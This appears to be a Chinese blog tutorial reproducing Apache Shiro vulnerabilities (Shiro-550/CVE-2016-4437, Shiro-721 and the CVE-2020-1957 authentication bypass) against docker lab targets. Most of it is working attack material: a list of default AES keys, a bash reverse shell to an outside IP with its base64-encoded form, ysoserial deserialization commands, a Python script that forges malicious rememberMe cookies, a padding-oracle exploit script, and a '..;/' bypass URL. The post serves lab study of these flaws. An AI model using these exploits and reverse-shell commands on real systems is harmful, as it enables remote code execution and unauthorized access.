Shiro 漏洞复现

Shiro 漏洞复现

shiro是什么?

ApacheShiro是一个灵活且全面的Java安全框架,它为现代应用程序提供了认证、授权、加密和会话管理等核心安全功能。 

shiro组件识别

1.在访问及登录时抓包,如果响应头 set-cookie 中显示 rememberMe=deleteMe,说明使用了 Shiro 组件。

Shiro 漏洞复现

2.有时 Shiro 会在响应中设置特定的cookie 名称,例如 shiroCookie。

Shiro-550(CVE-2016-4437反序列化漏洞)

	shiro采用AES加密,通常情况下不可解密,但是会存在一个初始秘钥,而大多数人不会更改秘钥(key),那么加密就形同虚设 	影响版本:Apachee Shiro <= 1.2.4 
  • 常见的key:
kPH+bIxk5D2deZiIxcaaaA== (1.2.4默认key) 2AvVhdsgUs0FSA3SDFAdag== 4AvVhmFLUs0KTA3Kprsdag== 3AvVhmFLUs0KTA3Kprsdag== wGiHplamyXlVB11UXWol8g== Z3VucwAAAAAAAAAAAAAAAA== 6ZmI6I2j5Y+R5aSn5ZOlAA== ZUdsaGJuSmxibVI2ZHc9PQ== 1QWLxg+NYmxraMoxAXu/Iw== 
  • 使用docker搭建环境:
# 拉取镜像 docker pull medicean/vulapps:s_shiro_1 # 启动容器 docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1 

Shiro 漏洞复现

  1. 检测是否存在默认的key
# 工具 https://github.com/StarkChristmas/Shiro_exploit  # 使用命令 python shiro_exploit.py -u http://靶机:端口 
  • 这里得到AES秘钥
CipherKey:r0e3c16IdVkouZgk1TKVMg== 

Shiro 漏洞复现

  1. 确认反弹shell语句(在java中要base64编码)
# 原本的语句 bash -i >& /dev/tcp/8.8.8.8/6666 0>&1  # base64编码(中间要去空格) bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} 

通过ysoserial这个工具中JRMP监听模块,攻击机监听9999端口并执行反弹shell命令

 # `ysoserial下载  https://github.com/frohoff/ysoserial/releases/tag/v0.0.  
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 10998 CommonsCollections4 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjguOC44LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}" 

Shiro 漏洞复现

  1. 准备一个脚本shiro_poc.py
import sys import uuid import base64 import subprocess from Crypto.Cipher import AES   def encode_rememberme(command):     popen = subprocess.Popen(['java', '-jar', 'ysoserial.jar', 'JRMPClient', command], stdout=subprocess.PIPE)     BS = AES.block_size     pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()     key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")     iv = uuid.uuid4().bytes     encryptor = AES.new(key, AES.MODE_CBC, iv)     file_body = pad(popen.stdout.read())     return base64.b64encode(iv + encryptor.encrypt(file_body))   if __name__ == '__main__':     if not sys.argv[1:]:         print(f'Usage: {sys.argv[0]} <payload>')         sys.exit(1)     payload = encode_rememberme(sys.argv[1])     print("[+] Payload: ")     print("rememberMe={0}".format(payload.decode())) 
  • 脚本生成payload,端口为先前监听的9999
python shiro_poc_test.py 攻击机ip:9999 

Shiro 漏洞复现

  1. bp 抓取shiro任意用户登录之后的任意请求,把构造的cookie值替换掉请求中的cookie 值(发送前攻击机监听6666端口)

Shiro 漏洞复现

  1. 成功得到shell

Shiro 漏洞复现

Shir0-721漏洞利用

由于 Apache Shirocookie 中通过 AES-128-CBC 模式加密的rememberMe字段存在问题,用户可通过PaddingOracle加密生成的攻击代码来构造恶意的rememberMe字段,并重新请求网站,进行反序列化攻击,最终导致任意代码执行  影响版本:Apache Shiro<= 1.4.1(需要一个登录账号,漏洞必须登录才能利用) 

环境搭建

git clone https://github.com/inspiringz/Shiro-721.git  cd Shiro-721/Docker  docker build -t shiro-721 .  docker run -p 8080:8080 -d shiro-721 

漏洞利用

  1. 登录Shiro测试账户获取合法Cookie(勾选 Remember Me)

Shiro 漏洞复现

  • 如果登录成功则不会设置deleteMe的cookie

Shiro 漏洞复现

  • 如果失败时会设置deleteMe的cookie

Shiro 漏洞复现

  1. 反序列化工具ysoserial生成Payload
java -jar ysoserial.jar CommonsBeanutils1 "touch /tmp/success" > eval.class 
  1. 创建一个python脚本遍历key,命名为exp.py
from paddingoracle import BadPaddingException, PaddingOracle from base64 import b64encode, b64decode from urllib.parse import unquote import requests import socket import time import sys import logging   class PadBuster(PaddingOracle):     def __init__(self, **kwargs):         super(PadBuster, self).__init__(**kwargs)         self.session = requests.Session()         # self.session.cookies['JSESSIONID'] = '18fa0f91-625b-4d8b-87db-65cdeff153d0'         self.wait = kwargs.get('wait', 2.0)      def oracle(self, data, **kwargs):         somecookie = b64encode(b64decode(unquote(sys.argv[2])) + data)         self.session.cookies['rememberMe'] = somecookie.decode('utf-8')         if self.session.cookies.get('JSESSIONID'):             del self.session.cookies['JSESSIONID']          # logging.debug(self.session.cookies)          while 1:             try:                 response = self.session.get(sys.argv[1], stream=False, timeout=5, verify=False)                 break             except (socket.error, requests.exceptions.RequestException):                 logging.exception('Retrying request in %.2f seconds...', self.wait)                 time.sleep(self.wait)                 continue          self.history.append(response)         # logging.debug(response.headers)         if response.headers.get('Set-Cookie') is None or 'deleteMe' not in response.headers.get('Set-Cookie'):             logging.debug('No padding exception raised on %r', somecookie)             return         # logging.debug("Padding exception")         raise BadPaddingException   if __name__ == '__main__':     if not sys.argv[3:]:         print(f'Usage: {sys.argv[0]} <url> <somecookie value> <payload>')         sys.exit(1)      logging.basicConfig(level=logging.DEBUG)     encrypted_cookie = b64decode(unquote(sys.argv[2]))     padbuster = PadBuster()     payload = open(sys.argv[3], 'rb').read()     enc = padbuster.encrypt(plaintext=payload, block_size=16)      # cookie = padbuster.decrypt(encrypted_cookie, block_size=8, iv=bytearray(8))     # print('Decrypted somecookie: %s => %r' % (sys.argv[1], enc))     print('rememberMe cookies:')     print(b64encode(enc))  
  1. 使用脚本(需要python2的环境,大约需要运行1个小时),最后替换cookie即可
python exp.py 靶机URL 登录好的cookie 生成的payload 
  • 这个漏洞在实际中很难遇到,因为在 1.2.4 版本后,shiro 已经更换 AES-CBCAES-GCM,无法进行遍历,而且需要一个正确的账号获得cookie,这里不再演示

Apache SShiro认证绕过漏洞(CVE-2020-1957)

  1. 访问http://your-ip:8080/admin/,发现无法访问,会重定向到登录页面

Shiro 漏洞复现

  1. 访问http://your-ip:8080/xxx/..;/admin/可以绕过校验

Shiro 漏洞复现

发表评论

评论已关闭。

相关文章

  • 0